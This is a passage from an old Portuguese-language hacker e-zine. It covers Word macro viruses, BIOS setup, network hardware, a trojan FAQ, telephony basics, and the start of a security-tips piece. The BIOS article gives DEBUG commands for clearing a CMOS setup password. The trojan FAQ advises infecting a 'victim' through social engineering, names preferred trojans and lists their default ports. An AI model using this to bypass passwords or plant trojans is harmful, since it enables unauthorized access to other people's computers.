Qualquer macro automática  pode ser facilmente  detectada escolhendo-se a  opção
Macro no  menu utilitários.  Uma macro  suspeita pode  ser examinada ou deletada
(com  sorte, antes  que ela  se execute,  senão...). A  Microsoft fornece  dois
métodos de desabilitar macros automáticas no Word.

Extraído do documento Q96565 no Banco de Dados de suporte para produtos Microsoft:
Também  há o  modo de  você ir  no Menu  INICIAR/LOCALIZAR/ARQUIVO OU  PASTAS e
digitar normal.dot , após achar ele  o delete e depois reinicie o  windows. Isto
será bem provavel que  você tenha conseguido extrair  o virus caso não  entre em
contato comigo...

Tutorial Desenvolvido por _LiNe_SkOFF_ #motd da rede Brasnet

Obs:  Nunca testei  estes métodos  no Office  XP, pois  eu não  afirmo que  isto
funcione nele... Mais não Custa nada tentar.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 17 ]=-=[ Hardware ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Hardware - SETUP
RedEyes

A ROM BIOS, é a responsável pelo boot da maquina, e nela existem dois  firmwares
determinados pelo fabricante e que ficam residentes nos chips, BIOS (Basic Input
Output System - Sistema Básico de entrada e saída) responsável pela  comunicação
entre os dispositivos conectados  à placa mãe e  o POST (Power On  Self Test) um
auto  teste  de inicialização  que  testa os  dispositivos  mais importantes  do
sistema. Ex.: Memória RAM, HD, Floppy, etc.

E  nela  existem  configurações  que  podem  ser  alteradas  pelo  usuário, para
configurar e melhorar o desempenho da maquina. Lembrando que essas alterações só
devem ser feitas se você conhece  muito bem a mesma, por que  qualquer alteração
mal  feita,  certamente  causara   desde  travamento  na  inicialização   e  mal
funcionamento dos drivers, até a perda de dados no HD.

Obs.: Já ouviram falar de (B)icho (I)gnorante (O)perando (S)istema?! haha

Deixando  meu infame  humor de  lado, voltemos  ao assunto.  Como essa  memória
precisa ser livre para modificações, não pode estar alojada numa memória ROM,  e
também em nenhum outro dispositivo, como  o HD, porque elas também precisam  ser
configuradas  no Setup.  Dai você  me pergunta:  Aonde diabos  fica então  essa
bagaça?!!? E eu respondo: Elementar velhinho amigo! Ele esta ali bem  escondido,
alojado em uma memória de baixa capacidade,  que é capaz de funfar com o  mínimo
de  energia  possível.  Ela utiliza  uma  estrutura  especial de  semicondutores
chamados de CMOS ( Complementary Metal-Oxide Semicondutor) Semicondutor de Óxido
-  Metal  Complementar,  e  é  alimentado  apenas  por  uma  bateria  facilmente
localizada na placa mãe.

Enfim tudo isso  pra falar do  "SETUP". Que é  a área de  configuração, e é  bem
aonde eu  queria chegar,  de todo  o bla-bla-bla  é aqui  que a  coisa começa  a
interessar. Como existem muitos fabricantes de Setup por ai, fica impossível  eu
falar sobre  todos, então  resolvi falar  dos itens  de configuração mais comuns
entre diferentes modelos. Ta OK velhinho?!

Como todo mundo sabe, e se não sabe ta na hora de saber, o Setup aparece  quando
você pressiona a tecla “delete"  na inicialização da maquina.  Segue  um exemplo
da tela que deverá  aparecer (lembrando que o  layout muda também de  fabricante
para fabricante e que eu não sou  muito bom com word então ficou uma  tabela bem
tosca como exemplo haha... mas o que interessa são os itens velhinho então vamos
lá).

MARCA DO FABRICANTE – VERSÃO

     Standard CMOS Setup                                    Load Setup Defaults

     Advanced Setup                                         Save & Exit Setup

     Power Management                                       Exit Without Saving

     PCI / PnP Setup

     Features Setup

     IDE HDD Autodetection

     Password Setting

Para navegar entre os itens usa-se as teclas de navegação !!dã!!... essas  setas
que tem ai  no teclado rapaz,  pra cima, pra  baixo, pro lado,  pro outro e tal.
Para selecionar o item use “Enter”, e para modificar as opções use “Page Up”  ou
“Page Down”.

Standard CMOS Setup
É o primeiro item, e como o nome diz, responsável pelas configurações básicas do
Setup. Entre elas:

Data e Hora;
Configuração do HD -
Configuração do Floppy;
Configuração de Vídeo;
Detecção de Erros.

Data e Hora  – Aonde configuramos  o “Relógio” do  bicho. Obs.: Também  pode ser
feita pelo Sist. Oper.

Hard Disk – É aonde reconhecemos o(s) disco(s) rígido(s) do computador. Onde:
TYPE – Reconhece o disco – as seguintes opções de TYPE significam:
NONE -> Ausência de HD ou o mesmo não foi habilitado.
AUTO -> Reconhece o HD sempre que o computador for iniciado.
USER -> Configurações definidas pelo usuário.

Advanced Setup
Boot  Sequence:  A seqüência  de  dispositivos em  que  o BIOS  irá  procurar os
arquivos de inicialização.

Quick Power on Self Test: Acelera os testes de dispositivos antes de carregar  o
sistema.

PS/2 Mouse Support: Habilita ou desabilita a porta PS/2 do mouse.

Internal Cache: Habilita ou desabilita o uso da L1

External Cache: habilita ou desabilita o uso da L2.

OS select For DRAM >  64 Mb: Habilite essa opção  somente se você possui um  OS2
instalado, porque ele gerência mais de 64Mb de memória de forma diferente.

Boot  Up Floppy  Seek: habilitado  faz um  teste de  movimentação da  cabeça de
leitura/escrita do disquete na inicialização. (perda de tempo na minha opinião).

Security Option: Determina para qual  item será requisitada uma senha.  “SYSTEM”
ou “SETUP”.

Power Management Setup
Esse item gerência a energia dos dispositivos, por exemplo, você pode configurar
o sistema para desligar o HD quando ele ficar certo tempo inativo. O mesmo  pode
ser feito com o monitor. Mas tudo isso pode ser feito pelo Ruindows também com o
seu utilitário de gerenciamento de energia.

PCI / PnP Setup
Configura  o  sistema  para  reconhecer a  tecnologia  Plug  and  Play. A  opção
“Resources controled By”  deve ficar com  o valor “auto”,   isso evita que  você
tenha que configurar slot por slot.

Features Setup
Aqui você  configura as  portas que  controlam os  dispositivos IDE  (primária e
secundária),  Onboard FDD Controller que é o driver do disquete onboard que deve
sempre estar  habilitado, as  portas paralela  e serial  e as  portas USB  entre
outros.

OnChip IDE First Channel
OnChip IDE Second Channel

Estas duas opções devem estar sempre ativadas, porque permitem que o chipset  da
placa mãe controle as portas IDE primária e secundária.

IDE Primary Master PIO
IDE Primary Slave PIO
IDE Secondary Master PIO
IDE Secondary Slave PIO

Você deve  configurar essas  opções de  acordo com  os HDs  instalados, cada uma
representa  uma posição  lógica do  HD. Se  um dos  HDs trabalhar  no modo  PIO
(programação de entrada  e saída) você  pode determinar para  qual modo ele  foi
fabricado (MODE 0 – mais antigo e MODE 4 mais novo e mais rápido).

As  seguintes  opções só  devem  ser alteradas  se  você tiver  um  conhecimento
avançado sobre seus dispositivos, caso contrário, deixe esta opção em “auto”.

Onboard FDD  Controller: Controladora  do driver  de disquete  onboard –  sempre
habilitada.
Onboard Serial Port 1: Configuração da porta serial 1, (COM1, 3F8H,IRQ 4)
Onboard Serial Port 2: Configuração da porta serial 2, (COM2, 2F8H, IRQ 3)
Onboard Paralel Port: Configuração da porta paralela, (LPT1, 378H, IRQ 7)
Onboard Paralel  Port Mode:  As impressoras  e os  scanners trabalham  melhor na
configuração ECP, EPP.

IDE HDD Autodetection
Esse item é usado para detectar automaticamente os Hds instalados no micro.

Password Setting
Aqui você insere uma  senha que será cobrada  na inicialização do micro  (caso a
opção de Securyt Option  estiver em SYSTEM) ou quando alguém for entrar no Setup
(caso a opção do Securyt Option estiver em SETUP).

Load Default Setup
Recupera as opções padrão.

Save and Exit Setup
Salva suas alterações e reinicia o sistema.

Exit Without Saving
Sai do setup sem salvar as alterações.

Como retirar a senha do Setup?
Elementar meu  caro velhinho,  existem duas  maneiras e  ambas são  simples. Uma
delas é usando o DEBUG do DOS,  no prompt digite:

C:\> DEBUG [pressione enter]
0 70 2e [enter]
0 71 ff [enter]
q [enter]

Agora é só resetar a maquina que vai dar para entrar no setup tranquilis.  Agora
isso  só funciona  se a  senha estiver  no Setup,  se for  para o  sistema, não
adianta. Então você vai ter procurar um jumper na placa mãe nomeado “Clear CMOS”
ou “EXIT BAT” (Veja no manual da placa mãe). Daí você altera o jumper da posição
1-2 para 2-3 e espera uns 10  segundos antes de voltar para a 1-2.  Pronto. Você
acaba de resetar a CMOS e nada mais de senhas para atrapalhar.

É claro que não é só isso que  podemos falar sobre setup, não pare por aqui,  um
bom guia de consulta é o próprio manual da sua placa mãe. Lá você vai  encontrar
todos os detalhes (ou quase todos ) sobre cada item do seu setup.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 18 ]=-=[ Básico sobre Redes ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

:::...Apresentacao.

Não leia este txt com  intuito de se tornar um expert em redes de  computadores,
se esse for o  seu objetivo depois naum  saia por aih dizendo:  pohh...li um txt
aih,,,mas non aprendi nada...!!!Eh  claro vc ja devia  saber o q estava  contido
lah neh :) Esse eh meu primeiro  txt, achei bem legal faze-lo sobre um  tema bem
interessante que  serve para  muitas coisas  e q  tambem estah  ao meu  alcance.
Abordarie o tema do  txt em partes, começarei  com a parte estruturada  da rede,
com os componetes(Hardware), depois em outra oportunidade falarei sobre tcp/ip e
afins. Prometo  dar continuidade  a txt,  ficaria muito  agradecido se  pudessem
fazer  comentarios por  e-mail ou  pelo irc  , pois  assim passaria  a dar  mais
qualidade ao assunto e faze-lo de forma mais 'interesante'.

:::...Topicos.

- Hardware de Rede

:::...Hardware de Rede.

Talvez esse  topico seja  de muita  importancia por  q aki  vc poderah encontrar
informacoes q vaum ser vitais para o aprendizado de varias outras coisas,  serah
de tamanha importancia o entendimento dessa parte para o entendimento do  TCP/IP
(na minha opiniao).

Quando falamos em redes hj lembramos de grandes redes, como a propria  internet,
ou talvez vc vicado  em jogos em rede  lembre daquela redezinha lah  do shopping
onde vc joga CounterStriker, para ambas as redes funcionarem eh muito importante
q quem as criou tenho usado de bom entendimento e usado bons equipamentos  senão
sua  conexao ficaria  muito lenta  e seu  jogo no  shopping um  saco, entre  os
equipamentos necessarios para um bom funcionamento da rede, pretendo abordar  de
um a um, estao:

 - Terminais (Pcs)
 - Cabos
 - HUBs
 - Switches
 - Roteadores

Acho q saum soh esses mesmos no  caso de uma rede basica(com certeza em  grandes
redes existem equipamentos q eu nem conheco).

* Terminais - com certeza no tem nem muito o q comentar sobre esse componente da
rede, terminais dos mais variados tipos podem estar conectados em uma rede, naum
importa o  tipo do  Pc, processador  ou quantidade  de memoria,  ele poderah ser
conectado a rede contando q ele tenha uma placa de rede PCI,ISA, ou modelos mais
modernos  q  ligam  redes  sem  fios(nunca  nem  peguei  num  desses)e  q esteja
devidamente configurado(software) para funcionar na rede.

* Cabos - muita  gente, inclusive eu, fazia  do universo dos cabos  um misterio,
existem varias opcoes de  cabeamento de uma rede,  irei abordar alguns tipos  de
topologias ou tipo de ligacoes de  redes em outra oportunidade, vc pode  usar os
velhos cabos coaxiais q saum  aqueles cabos redondos q ligam  a Tv a cabo ou  vc
pode usar os famosos par  trançado(azuzinho), naum obordarei o uso  dos coaxiais
por q eles jah  estao em total desuso,  o par trançado usa  conectores RJ45 para
fazer as ligacoes dos terminais, cuidado pois muita gente confunde par  trançado
com RJ45,  par trançado  eh o  tipo de  cabo e  RJ45 eh  o conector.  O cabo par
trançado tambem eh  muito utilizado na  telefonia, por ser  muito flexivel e  de
facil manuseio. Existem  algumas limitacoes no  uso desse tipo  de cabo, como  a
distancia maxima de 100M, mas a facilidade no seu uso excede isso. Existem  duas
maneira de se conectar um computador a  uma rede com esse tipo de cabo,  podemos
liga-lo no Pc e depois a  um centralizador(HUB,Switches), ou de um Pc  ao outro,
sendo q as  maneiras de criparmos(colocar  o conector no  cabo) os fios  no cabo
serao diferentes,  existe um  padrao chamado  `furukawa` ou  T586A, q  eh o mais
utilizado  na crimpagem  dos cabos,  pois esse  padrao eh  feito para  ligarmos
terminais ao centralizador, existe ainda outro q eh muito conhecido pelos  manus
por aih,,pois  falta grana  pra comprar  um HUB,  eh o  CrossOver(T586B) q nesse
padrao de crimpagem non eh preciso o uso de um centralizador para interligar  os
terminais, mas infelizmente soh se pode usar  2 Pcs pois soh havera um cabo,  se
quiser acrescentar mas um terminal teria q por mais uma placa de rede no  pc(non
aconselho isso, dah sempre conflito), valhe  a pena salientar q a crimpagem  dos
cabos non passa da  ordenacao dos fios do  cabo no conector, depois  posso falar
mais sobre isso. Com certeza existem outros tipos de cabos por aih, como a fibra
optica mas non irei falar pois non sei nada sobre.

* HUBS - com certeza em redes simples esse centralizador eh muito utilizado, ele
eh disposito eletronico q serve para  fazer uma cadeia de cabos par  trançado, e
respectivamente unir todos  os terminais q  estao ligados a  esses cabos, muitos
pensam q os HUBs saum componetes burros numa rede ou q soh servem pra interligar
os terminais, mas na atualidade existem HUBs q fazem um pouco mais q interligar,
eh atuam como  pontes para outras  partes da rede,  filtram dados, amplificam  o
sinal controlam o  trafego e etc,  com certeza o  uso deles eh  muito popular em
pequenas redes  pelo mais  ou menos  baixo custo,  cerca de  80 pilas,  eh muito
importante tambem atencao na taxa de trafego do HUB se eh compativel com as  das
placas de redes, q  eh 10Mbps ou 100Mbps,  existem alguns q trabalham  com os 2,
vale salientar q se vc  tiver um HUB de 100Mbps  e uma placa de 10Mbps  sua rede
caira para 10Mbps. O HUB por ser um dispositivo meu rude, ao vc enviar um pacote
para deterinado terminal  ao passar pelo  HUB ele envia  esse pacote a  todos na
rede, mas soh eh lido por quem o interessa.

* Switches  - esses  se assemelham  muito aos  HUBs, tambem saum centralizadores
numa rede,  mas oferecem  uma gama  enorme de  opcoes de  trafego gerenciamento,
podem suportar apenas  alguns terminais ou  ateh mesmos redes  enormes inteiras,
olhando a olho nuh pode-se confundir um switch com um HUB, mas internamente eles
saum bem  diferentes, o  switch pode  determinar  a  quem na  sua rede  o pacote
deverah ser entregue, ao enviar um pacote na rede o switch solicita  informacoes
q irão fazer com q o  pacote seja entregue unicamente ao seu  destinatario, naum
causando q outros terminais tambem recebam o pacote mas a frente vou explicar um
pouco mais sobre isso(bem interesante), eles tambem oferecem uma interface com o
usuario facilitando a sua configuracao, com um switch na mao podemos dizer q  se
pode fazer realmente uma festinha  na rede, pode-se criar VLans(redes  virtuais)
dividindo-se o  switch ao  meio(software), entre  outras coisas  q fazem dele um
componente  mais  do  q importante  em  uma  rede o  estudo  do  mesmo eh  muito
importante pros condidatos a fucadores de plantao (como eu):).

* Roteadores - tah  aih uma coisinha q  tambem chama muito a  atencao da galera,
como o proprio nome  diz `roteador`,faz as rotas,  ele serve como  um  guarda de
transito da rede, eh  nele q se faz  a comunicaco  entre 2  redes bem distintas,
nele eh  autorizada a  entrada e  saida de  dados q  naum fazem  parte da  rede,
tambem  eh  um  componete  gerenciavel  e  com  interface  ao  administrador, os
roteadores possuem  sistemas operacionais proprios q trabalham muito numa grande
rede,  com  certeza  em  redes  do  governo  e  grande  empresas  existem muitos
roteadores pois o trafego  das mesmas exige um   gerenciamento fora do local  da
rede, o  topic `roteadores`  eh muito  abrangente levaria  horas pra  explicar o
processo de roteamento, se consegui-se explicar.

::::...That's all Folks

Fico por aki com saudades de Pasárgada!
Continua no proximo episodio.
Abraços a coracaodeleao, inferninh0, bynaryus e todos q me tem no coracao:)hehe

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 19 ]=-=[ FAQ - Trojan ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

O que sao trojans?
^^^^^^^^^^^^^^^^^^
Sao  programas que  quando introduzidos  no computador  da vitima,  permitem ao
atacante executar comandos remotamente no PC da vitima.

Como eles trabalham?
^^^^^^^^^^^^^^^^^^^^
O modo como os trojans trabalham eh conexao cliente/servidor. E esta conexao que
faz com que o atacante posso ter  o controle da maquina da vitima. Esta  conexao
ocorre da seguinte  forma, o trojan  eh composto por  sua parte cliente  e outra
parte que damos o nome de servidor ou server.

O que eh conexao cliente/servidor?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Como dito acima, e este tipo de conexao a utilizada pelo trojan, independente de
qual for  o trojan.  O cliente  e o  responsavel pela  execuçao dos  comandos no
server, o qual devera estar instalado no computador da vitima. Quando a vitima e
infectada com o server, este server abri uma porta no PC da mesma, e eh  atraves
dessa porta aberta que o cliente se comunicará com o servidor.

Como infectar a vitima?
^^^^^^^^^^^^^^^^^^^^^^^
Ta mais do que na cara, de que  para se infectar o PC de alguem vc  vai precisar
da nossa querida engenharia social. Através dela vc vai consegui fazer com que a
vitima se torne a principal culpada pelo ataque.

Como se previnir?
^^^^^^^^^^^^^^^^^
Nunca aceite  nenhum arquivos  suspeito, principalmente  arquivos com  extensoes
.exe, pelo justo fato de a maioria dos servers possuirem esta extençao. Eh claro
que tem excesoes,  como o server  do NST (Ninja  Spy Trojan) onde  a extensao eh
.scr. Sempre mantenha seu  computador em dia com  relaçao a virus,e se  possivel
pegue o Xô  Bobus, o melhor  em detectaçao e  prevençao contra trojans  na minha
opiniao, ou qualquer outro anti-trojan.

Trojans mais conhecidos:
^^^^^^^^^^^^^^^^^^^^^^^^
--->>> Back Oriffice
--->>> NetBus
--->>> Wincrash
--->>> NST(Ninja Spy Trojan)
--->>> Subseven

OBS.: Na minha  opniao o NetBus  eh o trojan  mais podre da  face da Terra,  ate
minha vo seria capaz de invadir com ele. Minha dica pra quem quise um trojan bom
e o NST e Wincrash, isso na minha opniao.

###############################################################################
Relaçao de portas com seus respectivos trojans:
Abaixo está a lista das portas-padrão utilizadas pelos trojans mais  conhecidos
para Windows NT, 95, 98:

Porta 21 - Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash
Porta 23 - Tiny Telnet Server
Porta 25 - Antigen, Email  Password Sender, Haebu Coceda, Terminator,  Shtrilitz
Stealth,etc
Porta 31 - Hackers Paradise, Master's Paradise 8
Porta 121 - BO jammerkillahV
Porta 456 - Hackers Paradise
Porta 555 - Ini-Killer, Phase Zero, Stealth Spy
Porta 666 - Satanz Backdoor, Attack FTP
Porta 1001 - Silencer, WebEx
Porta 1011 - Doly Trojan
Porta 1033 - NetSpy
Porta 1080 - Wingate (Socks-Proxy)
Porta 1170 - Psyber Stream Server, Voice, Streaming Audio Trojan
Porta 1234 - Ultors Trojan
Porta 1243 - SubSeven
Porta 1245 - VooDoo Doll
Porta 1492 - FTP99CMP
Porta 1509 - Psyber Streaming Server
Porta 1600 - Shivka-Burka
Porta 1807 - SpySender
Porta 1981 - Shockrave
Porta 1999 - BackDoor
Porta 2001 - Trojan Cow
Porta 2023 - Ripper
Porta 2115 - Bugs
Porta 2140 - Deep Throat, The Invasor
Porta 2565 - Striker
Porta 2583 - WinCrash 2.0
Porta 2801 - Phineas Phucker
Porta 3024 - WinCrash
Porta 3129 - Masters Paradise
Porta 3150 - Deep Throat, The Invasor
Porta 3700 - Portal of Doom
Porta 4590 - ICQTrojan
Porta 4950 - IcqTrojen
Porta 5000 - Sockets de Troie
Porta 5001 - Sockets de Troie
Porta 5321 - Firehotcker
Porta 5400 - Blade Runner
Porta 5401 - Blade Runner
Porta 5402 - Blade Runner
Porta 5569 - Robo-Hack
Porta 5742 - WinCrash
Porta 6400 - The tHing
Porta 6670 - DeepThroat
Porta 6771 - DeepThroat
Porta 6883 - DeltaSource
Porta 6939 - Indoctrination
Porta 6969 - GateCrasher, Priority
Porta 7000 - Remote Grab
Porta 7300 - NetMonitor
Porta 7301 - NetMonitor
Porta 7306 - NetMonitor
Porta 7307 - NetMonitor
Porta 7308 - NetMonitor
Porta 7789 - ICKiller
Porta 9872 - Portal of Doom
Porta 9873 - Portal of Doom
Porta 9874 - Portal of Doom
Porta 9875 - Portal of Doom
Porta 9989 - iNi-Killer
Porta 10067 - Portal of Doom
Porta 10167 - Portal of Doom
Porta 11000 - Senna Spy
Porta 11223 - Progenic trojan
Porta 12223 - Hack´99 KeyLogger
Porta 12345 - GabanBus, NetBus
Porta 12346 - GabanBus, NetBus
Porta 12361 - Whack-a-mole
Porta 12362 - Whack-a-mole
Porta 16969 - Priority
Porta 20001 - Millennium
Porta 20034 - NetBus 2 Pro, NetRex Pro
Porta 21544 - GirlFriend
Porta 22222 - Prosiak 0.47
Porta 23456 - Evil FTP, Ugly FTP, WhackJob
Porta 26274 - Delta
Porta 30029 - AOLTrojan1.1
Porta 30100 - NetSphere
Porta 30303 - Sockets de Troie 2.5
Porta 30999 - Kuang
Porta 31337 - Back Orifice
Porta 31338 - Back Orifice, DeepBO
Porta 31339 - NetSpy DK
Porta 31666 - BOWhack
Porta 31787 - Hack'a'tack
Porta 33333 - Prosiak
Porta 34324 - BigGluck, TN, Tiny Telnet Server
Porta 40412 - The Spy
Porta 40421 - Master's Paradise
Porta 40422 - Master's Paradise
Porta 40423 - Master's Paradise
Porta 40426 - Master's Paradise
Porta 47262 - Delta
Porta 50505 - Sockets de Troie
Porta 50766 - Fore
Porta 53001 - Remote Windows Shutdown
Porta 61466 - Telecommando
Porta 65000 - Devil
###############################################################################

                 LISTA PEGA DO SITE WWW.PROJACK.CJB.NET!!!

Nota final
Espero que tenha gostado do  txt. Eu sei que ta  bem simples mas eh isso  mesmo.
Qquer duvida  soh me  da um  toque, eu  to sempre  nos canais #motd #DMA #phreak
(irc.brasnet.org), e tbm podem me  manda um e-mail, principalmente as  mulheres,
hehehe =] d4rwin@bol.com.br

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 20 ]=-=[ Telefonia ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

========================= # Telefonia # =======================
=========================================
= HazzarD -> hazzard@itelefonica.com.br =
=========================================

===========================================================
=   # 1- Introdução a Telefonia                                                                                          =
=   # 2- História                                                                                                         =
=   # 3- Estrutura                                                                                                                   =
=   # 4- Comutação                                                                                                    =
=   # 5- Transmissão                                                                                                             =
=   # 6- Energia                                                                                                                     =
=   # 7- Telefonia Móvel                                                                                                         =
=   # 8- Redes                                                                                                                       =
=   # 9- Finalizando                                                                                                                =
===========================================================

# 1- Introdução
===============

Por  Telecomunicações,  entende-se  a  ciência  e  a  técnica  de  transmissão à
distancia, usando-se recursos baseados em fenômenos elétromagnéticos. São  ramos
das telecomunicações:  telegrafia( transmissão  da palavra  escrita), telefonia(
transmissão da palavra falada), televisão  ( transmissão da imagem), telefoto  (
transmissão da imagem fixa)  e o ramo mais  novo, o teleprocessamento, que  pode
ser  definido como  uma forma  de manipulação  da informação  ou transmissão  de
dados.

# 2- História
==============

Os primeiros sistemas de telecomunicações tiveram aplicações em telegrafia.  Foi
no  ano de  1753 que  surgiu o  1º sistema  telegrafico. Era  constituído de  um
gerador de alta tensão localizado numas deas extremidades da conexão e na  outra
ponta existiam diversos terminais em que cada um era representado por uam letra.
Assim, se por exemplo fosse transmitir a letra "A" aplicava-se uma tensão  nesse
terminal. Esse terminal possuia um eletrodo que atraia um pedaço de papel com  a
letra "A". Assim as palavras poderiam ser transmitidas dessa maneira.

Esquema simplificado para melhor entendimento:

Gerador  -------------------------------------|eletrodo -> papel com letra "A"
                                              |eletrodo -> Papel com letra "B"
                                              |eletrodo -> Papel com letra "C"
                                              |eletrodo -> Papel com letra "D"
                                              e por aí vai...

Com o passar do tempo cada vez mais a tecnologia foi sendo desenvolvida até  que
em  1876, Grahan  Bell desenvolve  um aparelho  que poderia  transmitor sons.  A
primeira estação de telefonia foi inaugurada em 1879, em Connecticut, EUA.

No Brasil, o  primero telefone instalado  foi na loja  de aparelhos elétricos  e
mecânicos "O Grande Mágico", no Rio de Janeiro, em 1877.

# 3- Estrutura
===============

                                  Embratel
                                 ----------
                                      |
                      Companhias de telefonia fixa e movel
                      -------------------------------------
                                      |
                            Rede Telefônica local
                           -------------------------
                                      |
                          Distrubuidor geral regional
                         -----------------------------
                                      |
                             Sua linha telefônica
                            ----------------------

* Ligações locais -> utiliza-se somente o distribuidor geral

* Ligações Interurbanas -> Distribuidor geral e rede telefônica local

* Ligações Internacionais -> Distribuidor geral, rede telefônica local e Embratel

Obs1: vale também para telefonia movel
Obs2: todas as ligações saõ feitas por alguma companhia de telefonia movel ou fixa

# 4- Comutação
===============

Equipamentos  necessários  à seleção  e  conexão do  caminho  que possibilita  a
comunicação entre usuários quaisquer( os comutadores funcionam como  roteadores,
ou seja, escolhem o melhor caminho de um usuário ao outro).

O  Comutador  compreende os  caminhos  para o  estabelecimento  das conversações
telefonicas.  É  uma  unidade  passiva  e  serve  apenas  para  o  transporte de
sinais(dados).

A  Unidade  de  Controle(UC)  compreende   o  que  podemos  chamar  de   funções
inteligentes da central. É a parte  ativa da central, ou seja, recebe  e analisa
as informações, encaminha e aciona o comutador.

# 5- Transmissão
================

Conjunto de equipamentos e linhas físicas(OU NÃO) definem uma transmissão.
Exemplos de transmissões:

* Cabo Coaxial

 Linha 1 ---> CT UL ---> -------- cabo coaxial --------> CT UL ----> Linha 2

CT = Central Telefonica
UL = Unidade Local

* Enlace de Radio SHF

Linha 1 -> CT UL -> CT UI -> ETT -> microondas -> ETT -> CT UI -> CT UL -> Linha 2

ETT = Estação de Torre e Transmissão
UI = Unidade Interurnaba

* Satélites

Linha 1 --> CT UL --> CT UI -> ETT -> --- microondas ---> ETT  --> CTD
                                               |
                                               |
                                               |
                                            Satélite
                                               |
                                               |
                                               |
Linha 2 <-- CT UL <-- CT UI <- ETT <--- microondas --- <-- ETT  <-- CTD

CTD = Central de Transmissão Digital

# 6- Energia
=============

Equipamentos necessários para alimentar elétricamente as partes que compoem o sistema:

* Substação = Provedora da energia elétrica
* Sala de Bateria = Possui fontes de bateria para a alimentação dos Comutadores
* Fontes de Radio e UC = Alimentação para a Unidade Central e RadioTransmissão

# 7- Sistemas de Telefonia Movel
================================

Hoje  em  dia,  a Telefonia  utiliza  um  canal para  transmissão  e  outro para
recepção, denomidado modo Full-Duplex.
Cada canal possui 33  faixas que operam na  frequência de 800 a  quase 1000 Mhz,
variando de acordo com celular e operadora.
Cada torre cobre uma area de raio 80 Km (Aproximadamente 20000 Km)

# 8 - Redes de Telefonia
========================

As redes são os tipos de ligações entre as linhas telefônicas

* Rede de Malha
Cada linha esta  ligada com todas  as outras linhas.  Esse tipo de  rede é pouco
utilizada hoje em dia.

ex:
A--------B
| \    / |
|  \  /  |
|   \/   |
|   /\   |
|  /  \  |
C-/----\-D

Para calcular o numero de linhas nesse tipo de rede utiliza-se a fórmula
* L=n(n-1)/2 *

L -> numero de linhas    N= numero de pontas (ex: A,B,C,D)

* Rede Radial
Todas  as  linhas  são  ligados  á  uma  mesa  operadora,  que  fazem  a correta
distrubuição das ligações
ex:

A    B    C
 \   |   /
  \  |  /
   \ | /
    \|/
     #

* Rede de Assinantes

A  rede de  assinates é  bem complexa,  formada por  equipamentos destinados  à
interligar todas as linhas à Central Telefonica local.

Componentes:

Distribuidr Geral(DG) :  Todas as linhas  de uma CTL(  central telefonica local)
são ligadas  a um  DG. Os  DGs podem  ter dimensões  realmente grandes,  podendo
chegar a 30 metros de comprimento  por 5 metros de altura. Qualquer  perturbação
elétrica  é  percebida  pelo  DG  e  é  rapidamente  reparada,  graças  ao  seus
dispositivos  de  proteção.  Também  está  no  DG  o  dispositivo  que   permite
desconectar  assinates,  caso  o  mesmo  pessa  cancelamento  ou  ocorra  o  não
pagamento. Cada DG pode suportar centenas ou milahres de assinantes,  dependendo
de sua capacidade.

Tunel  de  cabos(subterrania),  redes  primarias,  redes  secundarias  e   redes
terciárias são utilizadas para interligar os DGs e são chamadas de Rede de Cabos
Troncos

ex:

Linha1 --------- DG ---------#----------- DG ---- linha 2
                 |
                 |
                 |
                 |
linha 3 -------- DG ----------- linha 4

# Cabos Troncos

# 9- Finalizando
================

Espero  que  este artigo  sobre  telefonia tenha  ajudad  você a  reconhecer  os
sistemas de telefonia utilizada  nos dias de hoje.  Não quis entrar em  detalhes
sobre telefonia Movel porque o existe uma grande quantidade de textos sobre isso
na internet. Futuramente estarei escrevendo um texto sobre Montagem e Manutenção
de PABX e outro  sobre Trasmissão Digital. Eles  não foram colocados juntos  com
esse texto por falta de tempo.

Obrigado pela atenção !!! Duvidas? hazzard@itelefonica.com.br

             Atenciosamente   HazzarD     11/10/2003

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 21 ]=-=[ Segurança Digital ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

|=--------------------------=[ InfosHack InSecurity ]=----------------------=|
|=--------------------------------------------------------------------------=|
|=---------------------------=[ Segurança Digital ]=------------------------=|
|=--------------------------------------------------------------------------=|
|=-------------=[ by Inferninho  ]=-------------=|

   Se vc anda preocupado com sua segurança na Internet aqui vão algumas dicas de
como  diminuir brechas  no I.E. , como usar proxy para esconder seu IP e de como
fechar as portas do seu Linux, ai vc vira pra mim e  diz dãããããã como se eu naum
